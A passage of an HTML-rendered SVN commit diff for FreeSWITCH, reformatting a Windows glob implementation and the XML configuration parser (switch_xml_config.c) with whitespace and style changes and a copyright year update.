+                        if (((pglob-&gt;gl_flags &amp; GLOB_MARK) &amp;&amp; pathend[-1] != SEP &amp;&amp; pathend[-1] != WIN_SEP) &amp;&amp; (_S_IFDIR &amp; sb.st_mode)) {
</ins><span class="cx">                                 if (pathend + 1 &gt; pathend_last)
</span><span class="cx">                                         return (GLOB_ABORTED);
</span><span class="cx">                                 *pathend++ = WIN_SEP;
</span><span class="cx">                                 *pathend = EOS;
</span><span class="cx">                         }
</span><span class="cx">                         ++pglob-&gt;gl_matchc;
</span><del>-                        return(globextend(pathbuf, pglob, limit));
</del><ins>+                        return (globextend(pathbuf, pglob, limit));
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Find end of next segment, copy tentatively to pathend. */
</span><span class="cx">                 q = pathend;
</span><span class="cx">                 p = pattern;
</span><span class="lines">@@ -2784,8 +2787,8 @@
</span><span class="cx">                                 return (GLOB_ABORTED);
</span><span class="cx">                         *q++ = *p++;
</span><span class="cx">                 }
</span><del>-                
-                if (!anymeta) {                /* No expansion, do next segment. */
</del><ins>+
+                if (!anymeta) {                        /* No expansion, do next segment. */
</ins><span class="cx">                         pathend = q;
</span><span class="cx">                         pattern = p;
</span><span class="cx">                         while (*pattern == SEP || *pattern == WIN_SEP) {
</span><span class="lines">@@ -2793,9 +2796,8 @@
</span><span class="cx">                                         return (GLOB_ABORTED);
</span><span class="cx">                                 *pathend++ = *pattern++;
</span><span class="cx">                         }
</span><del>-                } else                        /* Need expansion, recurse. */
-                        return(glob3(pathbuf, pathend, pathend_last, pattern, p,
-                                                 pglob, limit));
</del><ins>+                } else                                        /* Need expansion, recurse. */
+                        return (glob3(pathbuf, pathend, pathend_last, pattern, p, pglob, limit));
</ins><span class="cx">         }
</span><span class="cx">         /* NOTREACHED */
</span><span class="cx"> }
</span><span class="lines">@@ -2803,63 +2805,60 @@
</span><span class="cx"> static int glob3(char *pathbuf, char *pathend, char *pathend_last, char *pattern, char *restpattern, glob_t *pglob, size_t *limit)
</span><span class="cx"> {
</span><span class="cx">         int err;
</span><del>-        apr_dir_t * dirp;
-        apr_pool_t * pool;
-        
</del><ins>+        apr_dir_t *dirp;
+        apr_pool_t *pool;
+
</ins><span class="cx">         apr_pool_create(&amp;pool, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (pathend &gt; pathend_last)
</span><span class="cx">                 return (GLOB_ABORTED);
</span><span class="cx">         *pathend = EOS;
</span><span class="cx">         errno = 0;
</span><del>-        
-        if (apr_dir_open (&amp;dirp, pathbuf, pool) != APR_SUCCESS) {
</del><ins>+
+        if (apr_dir_open(&amp;dirp, pathbuf, pool) != APR_SUCCESS) {
</ins><span class="cx">                 /* TODO: don't call for ENOENT or ENOTDIR? */
</span><span class="cx">                 apr_pool_destroy(pool);
</span><span class="cx">                 if (pglob-&gt;gl_errfunc) {
</span><del>-                        if (pglob-&gt;gl_errfunc(pathbuf, errno) ||
-                            pglob-&gt;gl_flags &amp; GLOB_ERR)
</del><ins>+                        if (pglob-&gt;gl_errfunc(pathbuf, errno) || pglob-&gt;gl_flags &amp; GLOB_ERR)
</ins><span class="cx">                                 return (GLOB_ABORTED);
</span><span class="cx">                 }
</span><del>-                return(0);
</del><ins>+                return (0);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         err = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Search directory for matching names. */
</span><del>-        while (dirp)
-        {
</del><ins>+        while (dirp) {
</ins><span class="cx">                 apr_finfo_t dp;
</span><span class="cx">                 unsigned char *sc;
</span><span class="cx">                 char *dc;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (apr_dir_read(&amp;dp, APR_FINFO_NAME, dirp) != APR_SUCCESS)
</span><span class="cx">                         break;
</span><span class="cx">                 if (!(dp.valid &amp; APR_FINFO_NAME) || !(dp.name) || !strlen(dp.name))
</span><span class="cx">                         break;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Initial DOT must be matched literally. */
</span><span class="cx">                 if (dp.name[0] == DOT &amp;&amp; *pattern != DOT)
</span><span class="cx">                         continue;
</span><span class="cx">                 dc = pathend;
</span><span class="cx">                 sc = (unsigned char *) dp.name;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 while (dc &lt; pathend_last &amp;&amp; (*dc++ = *sc++) != EOS);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!match(pathend, pattern, restpattern)) {
</span><span class="cx">                         *pathend = EOS;
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                err = glob2(pathbuf, --dc, pathend_last, restpattern,
-                                        pglob, limit);
</del><ins>+                err = glob2(pathbuf, --dc, pathend_last, restpattern, pglob, limit);
</ins><span class="cx">                 if (err)
</span><span class="cx">                         break;
</span><span class="cx">         }
</span><del>-        
-        if (dirp) 
-                apr_dir_close (dirp);
</del><ins>+
+        if (dirp)
+                apr_dir_close(dirp);
</ins><span class="cx">         apr_pool_destroy(pool);
</span><del>-        return(err);
</del><ins>+        return (err);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -2880,45 +2879,43 @@
</span><span class="cx"> static int globextend(const char *path, glob_t *pglob, size_t *limit)
</span><span class="cx"> {
</span><span class="cx">         char **pathv;
</span><del>-        char * copy;
</del><ins>+        char *copy;
</ins><span class="cx">         size_t i;
</span><span class="cx">         size_t newsize, len;
</span><span class="cx">         const char *p;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*limit &amp;&amp; pglob-&gt;gl_pathc &gt; *limit) {
</span><span class="cx">                 errno = 0;
</span><span class="cx">                 return (GLOB_NOSPACE);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         newsize = sizeof(*pathv) * (2 + pglob-&gt;gl_pathc + pglob-&gt;gl_offs);
</span><del>-        pathv = pglob-&gt;gl_pathv ?
-        realloc((char *)pglob-&gt;gl_pathv, newsize) :
-        malloc(newsize);
</del><ins>+        pathv = pglob-&gt;gl_pathv ? realloc((char *) pglob-&gt;gl_pathv, newsize) : malloc(newsize);
</ins><span class="cx">         if (pathv == NULL) {
</span><span class="cx">                 if (pglob-&gt;gl_pathv) {
</span><span class="cx">                         free(pglob-&gt;gl_pathv);
</span><span class="cx">                         pglob-&gt;gl_pathv = NULL;
</span><span class="cx">                 }
</span><del>-                return(GLOB_NOSPACE);
</del><ins>+                return (GLOB_NOSPACE);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (pglob-&gt;gl_pathv == NULL &amp;&amp; pglob-&gt;gl_offs &gt; 0) {
</span><span class="cx">                 /* first time around -- clear initial gl_offs items */
</span><span class="cx">                 pathv += pglob-&gt;gl_offs;
</span><del>-                for (i = pglob-&gt;gl_offs; i-- &gt; 0; )
</del><ins>+                for (i = pglob-&gt;gl_offs; i-- &gt; 0;)
</ins><span class="cx">                         *--pathv = NULL;
</span><span class="cx">         }
</span><span class="cx">         pglob-&gt;gl_pathv = pathv;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (p = path; *p++;)
</span><span class="cx">                 continue;
</span><del>-        len = (size_t)(p - path);
</del><ins>+        len = (size_t) (p - path);
</ins><span class="cx">         if ((copy = malloc(len)) != NULL) {
</span><span class="cx">                 memcpy(copy, path, len);
</span><span class="cx">                 pathv[pglob-&gt;gl_offs + pglob-&gt;gl_pathc++] = copy;
</span><span class="cx">         }
</span><span class="cx">         pathv[pglob-&gt;gl_offs + pglob-&gt;gl_pathc] = NULL;
</span><del>-        return(copy == NULL ? GLOB_NOSPACE : 0);
</del><ins>+        return (copy == NULL ? GLOB_NOSPACE : 0);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -2930,49 +2927,49 @@
</span><span class="cx">         int ok, negate_range;
</span><span class="cx">         char c, k;
</span><span class="cx">         char s1[6];
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (pat &lt; patend) {
</span><span class="cx">                 c = *pat++;
</span><span class="cx">                 switch (c &amp; M_MASK) {
</span><del>-                        case M_ALL:
-                                if (pat == patend)
-                                        return(1);
-                                do
-                                        if (match(name, pat, patend))
-                                                return(1);
-                                while (*name++ != EOS);
-                                return(0);
-                        case M_ONE:
-                                if (*name++ == EOS)
-                                        return(0);
-                                break;
-                        case M_SET:
-                                ok = 0;
-                                if ((k = *name++) == EOS)
-                                        return(0);
-                                if ((negate_range = ((*pat &amp; M_MASK) == M_NOT)) != EOS)
-                                        ++pat;
-                                while (((c = *pat++) &amp; M_MASK) != M_END)
-                                        if ((*pat &amp; M_MASK) == M_RNG) {
-                                                memset(s1, 0, sizeof(s1));
-                                                s1[0] = c;
-                                                s1[2] = k;
-                                                s1[4] = pat[1];
-                                                if (strcoll(&amp;s1[0], &amp;s1[2]) &lt;= 0 &amp;&amp; strcoll(&amp;s1[2], &amp;s1[4]) &lt;= 0)
-                                                        ok = 1;
-                                                pat += 2;
-                                        } else if (c == k)
</del><ins>+                case M_ALL:
+                        if (pat == patend)
+                                return (1);
+                        do
+                                if (match(name, pat, patend))
+                                        return (1);
+                        while (*name++ != EOS);
+                        return (0);
+                case M_ONE:
+                        if (*name++ == EOS)
+                                return (0);
+                        break;
+                case M_SET:
+                        ok = 0;
+                        if ((k = *name++) == EOS)
+                                return (0);
+                        if ((negate_range = ((*pat &amp; M_MASK) == M_NOT)) != EOS)
+                                ++pat;
+                        while (((c = *pat++) &amp; M_MASK) != M_END)
+                                if ((*pat &amp; M_MASK) == M_RNG) {
+                                        memset(s1, 0, sizeof(s1));
+                                        s1[0] = c;
+                                        s1[2] = k;
+                                        s1[4] = pat[1];
+                                        if (strcoll(&amp;s1[0], &amp;s1[2]) &lt;= 0 &amp;&amp; strcoll(&amp;s1[2], &amp;s1[4]) &lt;= 0)
</ins><span class="cx">                                                 ok = 1;
</span><del>-                                if (ok == negate_range)
-                                        return(0);
-                                break;
-                        default:
-                                if (*name++ != c)
-                                        return(0);
-                                break;
</del><ins>+                                        pat += 2;
+                                } else if (c == k)
+                                        ok = 1;
+                        if (ok == negate_range)
+                                return (0);
+                        break;
+                default:
+                        if (*name++ != c)
+                                return (0);
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        return(*name == EOS);
</del><ins>+        return (*name == EOS);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* Free allocated data belonging to a glob_t structure. */
</span><span class="lines">@@ -2980,7 +2977,7 @@
</span><span class="cx"> {
</span><span class="cx">         size_t i;
</span><span class="cx">         char **pp;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (pglob-&gt;gl_pathv != NULL) {
</span><span class="cx">                 pp = pglob-&gt;gl_pathv + pglob-&gt;gl_offs;
</span><span class="cx">                 for (i = pglob-&gt;gl_pathc; i--; ++pp)
</span><span class="lines">@@ -2990,6 +2987,7 @@
</span><span class="cx">                 pglob-&gt;gl_pathv = NULL;
</span><span class="cx">         }
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> #pragma warning(pop)
</span><span class="cx"> #endif
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_xml_configc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_xml_config.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_xml_config.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_xml_config.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -35,21 +35,21 @@
</span><span class="cx"> SWITCH_DECLARE_DATA switch_xml_config_string_options_t switch_config_string_strdup = { NULL, 0, NULL };
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_config_enum_item_t switch_config_types_enum[] = {
</span><del>-        {&quot;int&quot;,         SWITCH_CONFIG_INT                },
-        {&quot;string&quot;,         SWITCH_CONFIG_STRING        },
-        {&quot;bool&quot;,         SWITCH_CONFIG_BOOL                },
-        {&quot;custom&quot;,         SWITCH_CONFIG_CUSTOM        },
-        {&quot;enum&quot;,         SWITCH_CONFIG_ENUM                },
-        {&quot;flag&quot;,         SWITCH_CONFIG_FLAG                },
-        {&quot;flagarray&quot;,SWITCH_CONFIG_FLAGARRAY},
-        { NULL, 0 }
</del><ins>+        {&quot;int&quot;, SWITCH_CONFIG_INT},
+        {&quot;string&quot;, SWITCH_CONFIG_STRING},
+        {&quot;bool&quot;, SWITCH_CONFIG_BOOL},
+        {&quot;custom&quot;, SWITCH_CONFIG_CUSTOM},
+        {&quot;enum&quot;, SWITCH_CONFIG_ENUM},
+        {&quot;flag&quot;, SWITCH_CONFIG_FLAG},
+        {&quot;flagarray&quot;, SWITCH_CONFIG_FLAGARRAY},
+        {NULL, 0}
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_size_t) switch_event_import_xml(switch_xml_t xml, const char *keyname, const char *valuename, switch_event_t **event)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t node;
</span><span class="cx">         switch_size_t count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!*event) {
</span><span class="cx">                 /* SWITCH_EVENT_CLONE will not insert any generic event headers */
</span><span class="cx">                 switch_event_create(event, SWITCH_EVENT_CLONE);
</span><span class="lines">@@ -64,7 +64,7 @@
</span><span class="cx">                         count++;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return count;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -72,7 +72,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t cfg, xml, settings;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(file, &amp;cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Could not open %s\n&quot;, file);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -81,9 +81,9 @@
</span><span class="cx">         if ((settings = switch_xml_child(cfg, &quot;settings&quot;))) {
</span><span class="cx">                 status = switch_xml_config_parse(switch_xml_child(settings, &quot;param&quot;), reload, instructions);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -91,8 +91,8 @@
</span><span class="cx"> {
</span><span class="cx">         if (item-&gt;syntax &amp;&amp; item-&gt;helptext) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, level, &quot;Item name: [%s]\nType: %s (%s)\nSyntax: %s\nHelp: %s\n\n&quot;,
</span><del>-                         item-&gt;key, switch_xml_config_enum_int2str(switch_config_types_enum, item-&gt;type), 
-                        switch_test_flag(item, CONFIG_REQUIRED) ? &quot;required&quot; : &quot;optional&quot;, item-&gt;syntax, item-&gt;helptext);
</del><ins>+                                                  item-&gt;key, switch_xml_config_enum_int2str(switch_config_types_enum, item-&gt;type),
+                                                  switch_test_flag(item, CONFIG_REQUIRED) ? &quot;required&quot; : &quot;optional&quot;, item-&gt;syntax, item-&gt;helptext);
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -101,31 +101,31 @@
</span><span class="cx">         switch_event_t *event = NULL;
</span><span class="cx">         switch_status_t result;
</span><span class="cx">         int count = switch_event_import_xml(xml, &quot;name&quot;, &quot;value&quot;, &amp;event);
</span><del>-        
</del><ins>+
</ins><span class="cx">         result = switch_xml_config_parse_event(event, count, reload, instructions);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (event) {
</span><span class="cx">                 switch_event_destroy(&amp;event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return result;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_config_enum_str2int(switch_xml_config_enum_item_t *enum_options, const char *value, int *out)
</span><span class="cx"> {
</span><del>-        for (;enum_options-&gt;key; enum_options++) {
</del><ins>+        for (; enum_options-&gt;key; enum_options++) {
</ins><span class="cx">                 if (!strcasecmp(value, enum_options-&gt;key)) {
</span><span class="cx">                         *out = enum_options-&gt;value;
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(const char*) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value)
</del><ins>+SWITCH_DECLARE(const char *) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value)
</ins><span class="cx"> {
</span><del>-        for (;enum_options-&gt;key; enum_options++) {
</del><ins>+        for (; enum_options-&gt;key; enum_options++) {
</ins><span class="cx">                 if (value == enum_options-&gt;value) {
</span><span class="cx">                         return enum_options-&gt;key;
</span><span class="cx">                 }
</span><span class="lines">@@ -133,241 +133,245 @@
</span><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload, switch_xml_config_item_t *instructions)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload,
+                                                                                                                          switch_xml_config_item_t *instructions)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_config_item_t *item;
</span><span class="cx">         int matched_count = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (item = instructions; item-&gt;key; item++) {
</span><span class="cx">                 const char *value = switch_event_get_header(event, item-&gt;key);
</span><span class="cx">                 switch_bool_t changed = SWITCH_FALSE;
</span><del>-                switch_xml_config_callback_t callback = (switch_xml_config_callback_t)item-&gt;function;
</del><ins>+                switch_xml_config_callback_t callback = (switch_xml_config_callback_t) item-&gt;function;
</ins><span class="cx">                 void *ptr = item-&gt;ptr;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 //switch_assert(ptr);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (value) {
</span><span class="cx">                         matched_count++;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (reload &amp;&amp; !switch_test_flag(item, CONFIG_RELOADABLE)) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!value &amp;&amp; switch_test_flag(item, CONFIG_REQUIRED)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Required parameter [%s] is missing\n&quot;, item-&gt;key);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-                
-                switch(item-&gt;type) {
-                        case SWITCH_CONFIG_INT:
-                                {
-                                        switch_xml_config_int_options_t *int_options = (switch_xml_config_int_options_t*)item-&gt;data;
-                                        int *dest = (int*)ptr;
-                                        int intval;
-                                        if (value) {
-                                                if (switch_is_number(value)) {
-                                                        intval = atoi(value);
-                                                } else {
-                                                        intval = (int)(intptr_t)item-&gt;defaultvalue;
-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s], setting default [%d]\n&quot;, 
-                                                                value, item-&gt;key, intval);
-                                                }
-                                                
-                                                if (int_options) {
-                                                        /* Enforce validation options */
-                                                        if ((int_options-&gt;enforce_min &amp;&amp; !(intval &gt; int_options-&gt;min)) ||
-                                                                (int_options-&gt;enforce_max &amp;&amp; !(intval &lt; int_options-&gt;max))) {
-                                                                        /* Validation failed, set default */
-                                                                        intval = (int)(intptr_t)item-&gt;defaultvalue;
-                                                                        /* Then complain */
-                                                                        if (int_options-&gt;enforce_min &amp;&amp; int_options-&gt;enforce_max) {
-                                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s], should be between [%d] and [%d], setting default [%d]\n&quot;, 
-                                                                                        value, item-&gt;key, int_options-&gt;min, int_options-&gt;max, intval);
-                                                                         } else {
-                                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s], should be %s [%d], setting default [%d]\n&quot;, 
-                                                                                        value, item-&gt;key, int_options-&gt;enforce_min ? &quot;at least&quot; : &quot;at max&quot;, int_options-&gt;enforce_min ? int_options-&gt;min : int_options-&gt;max, intval);
-                                                                        }
-                                                                }
-                                                }
</del><ins>+
+                switch (item-&gt;type) {
+                case SWITCH_CONFIG_INT:
+                        {
+                                switch_xml_config_int_options_t *int_options = (switch_xml_config_int_options_t *) item-&gt;data;
+                                int *dest = (int *) ptr;
+                                int intval;
+                                if (value) {
+                                        if (switch_is_number(value)) {
+                                                intval = atoi(value);
</ins><span class="cx">                                         } else {
</span><del>-                                                intval = (int)(intptr_t)item-&gt;defaultvalue;
</del><ins>+                                                intval = (int) (intptr_t) item-&gt;defaultvalue;
+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s], setting default [%d]\n&quot;,
+                                                                                  value, item-&gt;key, intval);
</ins><span class="cx">                                         }
</span><del>-                                        
-                                        if (*dest != intval) {
-                                                *dest = intval;
-                                                changed = SWITCH_TRUE;
-                                        }
-                                }
-                                break;
-                        case SWITCH_CONFIG_STRING:
-                                {
-                                        switch_xml_config_string_options_t string_options_default = { 0 };
-                                        switch_xml_config_string_options_t *string_options = item-&gt;data ? (switch_xml_config_string_options_t*)item-&gt;data : &amp;string_options_default;
-                                        const char *newstring = NULL;
-                                        
-                                        /* Perform validation */
-                                        if (value) {
-                                                if (!zstr(string_options-&gt;validation_regex)) {
-                                                        if (switch_regex_match(value, string_options-&gt;validation_regex) == SWITCH_STATUS_SUCCESS) {
-                                                                newstring = value; /* Regex match, accept value*/
</del><ins>+
+                                        if (int_options) {
+                                                /* Enforce validation options */
+                                                if ((int_options-&gt;enforce_min &amp;&amp; !(intval &gt; int_options-&gt;min)) || (int_options-&gt;enforce_max &amp;&amp; !(intval &lt; int_options-&gt;max))) {
+                                                        /* Validation failed, set default */
+                                                        intval = (int) (intptr_t) item-&gt;defaultvalue;
+                                                        /* Then complain */
+                                                        if (int_options-&gt;enforce_min &amp;&amp; int_options-&gt;enforce_max) {
+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                                                                                  &quot;Invalid value [%s] for parameter [%s], should be between [%d] and [%d], setting default [%d]\n&quot;, value,
+                                                                                                  item-&gt;key, int_options-&gt;min, int_options-&gt;max, intval);
</ins><span class="cx">                                                         } else {
</span><del>-                                                                newstring = (char*)item-&gt;defaultvalue;  /* Regex failed */
-                                                                if (newstring) {
-                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s], setting default [%s]\n&quot;, 
-                                                                                value, item-&gt;key, newstring);
-                                                                } else {
-                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s]\n&quot;, value, item-&gt;key);
-                                                                }
-                                                                switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                                                                                  &quot;Invalid value [%s] for parameter [%s], should be %s [%d], setting default [%d]\n&quot;, value, item-&gt;key,
+                                                                                                  int_options-&gt;enforce_min ? &quot;at least&quot; : &quot;at max&quot;,
+                                                                                                  int_options-&gt;enforce_min ? int_options-&gt;min : int_options-&gt;max, intval);
</ins><span class="cx">                                                         }
</span><del>-                                                } else {
-                                                        newstring = value; /* No validation */
</del><span class="cx">                                                 }
</span><del>-                                        } else {
-                                                newstring = (char*)item-&gt;defaultvalue;
</del><span class="cx">                                         }
</span><ins>+                                } else {
+                                        intval = (int) (intptr_t) item-&gt;defaultvalue;
+                                }
</ins><span class="cx"> 
</span><del>-                                        if (string_options-&gt;length &gt; 0) {
-                                                /* We have a preallocated buffer */
-                                                char *dest = (char*)ptr;
-                                                
-                                                if (newstring) {
-                                                        if (strncasecmp(dest, newstring, string_options-&gt;length)) {
-                                                                switch_copy_string(dest, newstring, string_options-&gt;length);
-                                                                changed = SWITCH_TRUE;
-                                                        }
</del><ins>+                                if (*dest != intval) {
+                                        *dest = intval;
+                                        changed = SWITCH_TRUE;
+                                }
+                        }
+                        break;
+                case SWITCH_CONFIG_STRING:
+                        {
+                                switch_xml_config_string_options_t string_options_default = { 0 };
+                                switch_xml_config_string_options_t *string_options =
+                                        item-&gt;data ? (switch_xml_config_string_options_t *) item-&gt;data : &amp;string_options_default;
+                                const char *newstring = NULL;
+
+                                /* Perform validation */
+                                if (value) {
+                                        if (!zstr(string_options-&gt;validation_regex)) {
+                                                if (switch_regex_match(value, string_options-&gt;validation_regex) == SWITCH_STATUS_SUCCESS) {
+                                                        newstring = value;        /* Regex match, accept value */
</ins><span class="cx">                                                 } else {
</span><del>-                                                        if (*dest != '\0') {
-                                                                *dest = '\0';
-                                                                changed = SWITCH_TRUE;
</del><ins>+                                                        newstring = (char *) item-&gt;defaultvalue;        /* Regex failed */
+                                                        if (newstring) {
+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s], setting default [%s]\n&quot;,
+                                                                                                  value, item-&gt;key, newstring);
+                                                        } else {
+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s]\n&quot;, value, item-&gt;key);
</ins><span class="cx">                                                         }
</span><ins>+                                                        switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
</ins><span class="cx">                                                 }
</span><del>-                                        } else if (string_options-&gt;pool) {
-                                                /* Pool-allocated buffer */
-                                                char **dest = (char**)ptr;
-                                                
-                                                if (newstring) {
-                                                        if (!*dest || strcmp(*dest, newstring)) {
-                                                                *dest = switch_core_strdup(string_options-&gt;pool, newstring);
-                                                        }
-                                                } else {
-                                                        if (*dest) {
-                                                                changed = SWITCH_TRUE;
-                                                                *dest = NULL;
-                                                        }
-                                                }
</del><span class="cx">                                         } else {
</span><del>-                                                /* Dynamically allocated buffer */
-                                                char **dest = (char**)ptr;
-                                                
-                                                if (newstring) {
-                                                        if (!*dest || strcmp(*dest, newstring)) {
-                                                                switch_safe_free(*dest);
-                                                                *dest = strdup(newstring);
-                                                                changed = SWITCH_TRUE;                                                
-                                                        }        
-                                                } else {
-                                                        if (*dest) {
-                                                                switch_safe_free(*dest);
-                                                                changed = SWITCH_TRUE;
-                                                        }
-                                                }
</del><ins>+                                                newstring = value;        /* No validation */
</ins><span class="cx">                                         }
</span><ins>+                                } else {
+                                        newstring = (char *) item-&gt;defaultvalue;
</ins><span class="cx">                                 }
</span><del>-                                break;
-                        case SWITCH_CONFIG_BOOL:
-                                {
-                                        switch_bool_t *dest = (switch_bool_t*)ptr;
-                                        switch_bool_t newval = SWITCH_FALSE;
-                                        
-                                        if (value &amp;&amp; switch_true(value)) {
-                                                newval = SWITCH_TRUE;
-                                        } else if (value &amp;&amp; switch_false(value)) {
-                                                newval = SWITCH_FALSE;
-                                        } else if (value) {
-                                                /* Value isnt true or false */
-                                                newval = (switch_bool_t)(intptr_t)item-&gt;defaultvalue;
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid value [%s] for parameter [%s], setting default [%s]\n&quot;,  
-                                                                                value, item-&gt;key, newval ? &quot;true&quot; : &quot;false&quot;);
-                                                switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
</del><ins>+
+                                if (string_options-&gt;length &gt; 0) {
+                                        /* We have a preallocated buffer */
+                                        char *dest = (char *) ptr;
+
+                                        if (newstring) {
+                                                if (strncasecmp(dest, newstring, string_options-&gt;length)) {
+                                                        switch_copy_string(dest, newstring, string_options-&gt;length);
+                                                        changed = SWITCH_TRUE;
+                                                }
</ins><span class="cx">                                         } else {
</span><del>-                                                newval = (switch_bool_t)(intptr_t)item-&gt;defaultvalue;
</del><ins>+                                                if (*dest != '\0') {
+                                                        *dest = '\0';
+                                                        changed = SWITCH_TRUE;
+                                                }
</ins><span class="cx">                                         }
</span><del>-                                        
-                                        if (*dest != newval) {
-                                                *dest = newval;
-                                                changed = SWITCH_TRUE;
-                                        }
-                                }
-                                break;
-                        case SWITCH_CONFIG_CUSTOM: 
-                                break;
-                        case SWITCH_CONFIG_ENUM:
-                                {
-                                        switch_xml_config_enum_item_t *enum_options = (switch_xml_config_enum_item_t*)item-&gt;data;
-                                        int *dest = (int*)ptr;
-                                        int newval = 0;
-                                        switch_status_t lookup_result = SWITCH_STATUS_SUCCESS;
-                                        
-                                        if (value) {
-                                                lookup_result = switch_xml_config_enum_str2int(enum_options, value, &amp;newval);
